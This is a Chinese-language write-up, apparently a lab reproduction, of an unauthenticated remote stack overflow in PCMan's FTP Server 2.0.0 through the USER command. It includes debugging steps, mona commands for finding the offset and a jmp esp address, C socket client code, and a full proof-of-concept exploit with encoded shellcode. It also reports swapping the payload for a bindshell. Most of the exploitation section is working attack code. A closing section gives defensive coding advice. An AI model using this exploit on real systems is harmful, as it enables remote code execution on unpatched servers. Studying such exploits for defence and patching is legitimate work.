1. 软件简介
PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
2. 漏洞成因
PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。
该软件由于未能有效处理FTP命令的长度字符(最大0x1000),进而在调用字符串拷贝函数时(和sprintf功能相同)未判断长度引发栈溢出漏洞,导致攻击者可以远程执行任何命令。
用于FTP登录的“USER”命令即可以触发此漏洞,也就是可以在未获取FTP的访问权限的前提下,就可以对目标进行远程溢出漏洞攻击。
具体分析过程如下:
调试运行PCManFTP,并在API recv下断点,然后客户端发起连接
客户端发起连接,触发recv断点
栈回溯调用地址,单步分析对接收数据的处理
会判断数据前面是否“USER ”,recv限定缓冲区接收0x1000个字节,构造0x1000个数据发送到ftp服务器,缓冲区首地址为esp+8的位置
当前函数返回地址与缓冲区首地址相差0x1004,不会造成栈溢出,所有造成溢出的应该该函数内调用的函数,继续分析
定位触发异常函数,进入分析
进入函数前,查看返回地址保存在栈区0x12ED68的位置
确认造成溢出的代码为0x412CBF函数,功能和sprintf相同,未检查数据长度将组合的字符串保存在栈区造成缓冲区溢出
调用之后存放到0x12E568的数据
ESP在0x12ED68的地址
触发异常
3. 利用过程
1. 准备
需要和Ftp服务器进行交互,编写的代码需要符合RFC959标准
1. 建立socket连接
2. 接收Ftp服务器欢迎语
3. 发送构造的足够溢出的数据“USER ????...”
4. 接收
使用工具windbg搭配mona实现快速定位漏洞点
正常运行PCManFTP,在Windbg中F6附加该进程,启动mona脚本生成有序数列
!py mona pc 3000
使用VS编写Ftp客户端用于连接发送数据
- // 1. 初始化SOCKET
- WSADATA stWSA;
- WSAStartup(0x0202, &stWSA);
- // 2. 创建原始套接字
- SOCKET stListen = INVALID_SOCKET;
- stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
- // 3. 在任意地址绑定一个端口21(INADDR_ANY)
- SOCKADDR_IN stService;
- stService.sin_addr.S_un.S_addr = inet_addr("192.168.200.132");//服务器IP
- stService.sin_port = htons(21);
- stService.sin_family = AF_INET;
- //连接
- connect(stListen, (LPSOCKADDR)&stService, sizeof(stService));
- // 4. 接收欢迎语
- char pBuffer[0x100] = { 0 };
- char pCommand[0x3000] = {"USER "};
- memset(pCommand + 5, 0x41, 0x2FFA);
- recv(stListen, pBuffer, 0x100, 0);
- // 5. 发送数据
- send(stListen, pCommand, 0x3000, 0);
- recv(stListen, pBuffer, 0x100, 0);
- closesocket(stListen);
- WSACleanup();
2. 构造shellcode
Windbg输入g让ftp服务器正常运行,客户端将构造的有序数据发送到Ftp服务器
运行崩溃,esp为0x12ed70
输入命令定位偏移量!py mona po 0x6f43376f
获取jmp esp 地址
!py mona jmp -r esp -m "kernel32.dll"
0x7783f8f7
构造shellcode
“USER ”+ 填充指令 + 跳板指令地址(溢出点) + shellcode代码,构造的字符串应该避免包含’\n’,’\r’,’\0’等特殊字符,需要加密,实现弹框验证是否执行成功
3. 执行
在jmp esp处下断点,调试运行
继续单步执行到shellcode代码处
执行到弹窗部分
将弹窗shell改为bindshell发送执行,成功建立连接192.168.200.132
4. POC
- char szUser[] = {"USER "}; //用作对比的字符串
- char szNop[2003] = { 0x00 }; //偏移量
- memset(szNop, 0x41, 2002); //填充为A
- char szJmpEsp[5] = { "\x43\xD7\x9A\x77"}; //jmp esp
- char shellcode[] = //shellcode 弹窗功能 验证漏洞
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- "\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9"
- "\x45\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07"
- "\xFF\xE6\x52\x8C\xEB\x54\x51\x50\x84\xEB\x78\xEC\x49\x40\x62\x73"
- "\x57\x75\x68\x64\x46\x63\x63\x75\x62\x74\x74\x07\x4B\x68\x66\x63"
- "\x4B\x6E\x65\x75\x66\x75\x7E\x42\x7F\x46\x07\x52\x74\x62\x75\x34"
- "\x35\x29\x63\x6B\x6B\x07\x4A\x62\x74\x74\x66\x60\x62\x45\x68\x7F"
- "\x46\x07\x42\x7F\x6E\x73\x57\x75\x68\x64\x62\x74\x74\x07\x4F\x62"
- "\x6B\x6B\x68\x27\x50\x68\x75\x6B\x63\x26\x07\xEF\x07\x07\x07\x07"
- "\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C\x71\x0B\x8C\x71\x1B\x8C\x31"
- "\x8C\x51\x0F\x54\x55\xEF\x1F\x07\x07\x07\x8C\xF7\x55\x51\x54\x8A"
- "\x4C\xBB\x56\x55\xF8\xD7\x5C\x59\x5D\x51\x57\x55\x54\xEF\x69\x07"
- "\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B\x8A"
- "\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D\x8E\x7A"
- "\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B\x3D"
- "\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C\x52"
- "\x0F\x8A\x33\x35\x8C\x52\x0B\x8A\x7D\xAA\xBE\x09\x07\x07\x07\xFB"
- "\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52\xFB"
- "\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x11\x5D\x8C\xE2\x5A\xC5\x0F\x07"
- "\x52\x8C\xEB\x8C\x5A\x0F\x8A\x5C\xCC\x8C\x42\x17\x34\xCE\x56\x56"
- "\x54\xF8\xD7\x8C\x5A\x0F\x8A\x5C\xD1\x54\x57\x8C\x42\x13\xF8\xD7"
- "\x34\xCE\x56\x8C\x5A\x0F\x8A\x5C\xE9\x54\x54\x56\xF8\xD7\x8C\x5A"
- "\x0F\x8A\x5C\xE5\x54\x8C\x42\x0B\x57\x8C\x42\x13\xF8\xD7\x6D\x07"
- "\xF8\xD7\x58\x59\x5C\x5A\xC4";
- char* pExploit = new char[0x1000];
- sprintf(pExploit, "%s%s%s%s%s", szUser, szNop, szJmpEsp, shellcode, "\r\n");
- // 5. 发送数据
- send(stListen, pExploit, 0x1000, 0);
5. 结语
PCManFTP程序在接收数据时未能够正确的检查数据的长度从而造成栈溢出,引发漏洞
在编写程序时,API尽量使用安全函数,并开启GS安全检测,而自己编写的函数则需要对缓冲区进行接收限制,从而提高程序的安全性避免造成栈溢出漏洞。
远程溢出漏洞属于严重漏洞,一旦被利用成功,可以在目标主机上执行任意代码,所以需要的安全性保障要更高,在数据输出过程中做到正确的检测
漏洞复现时,要保证数据的稳定性,验证以确保找到的溢出点,jmp esp地址准确,shellcode加密输入防止截断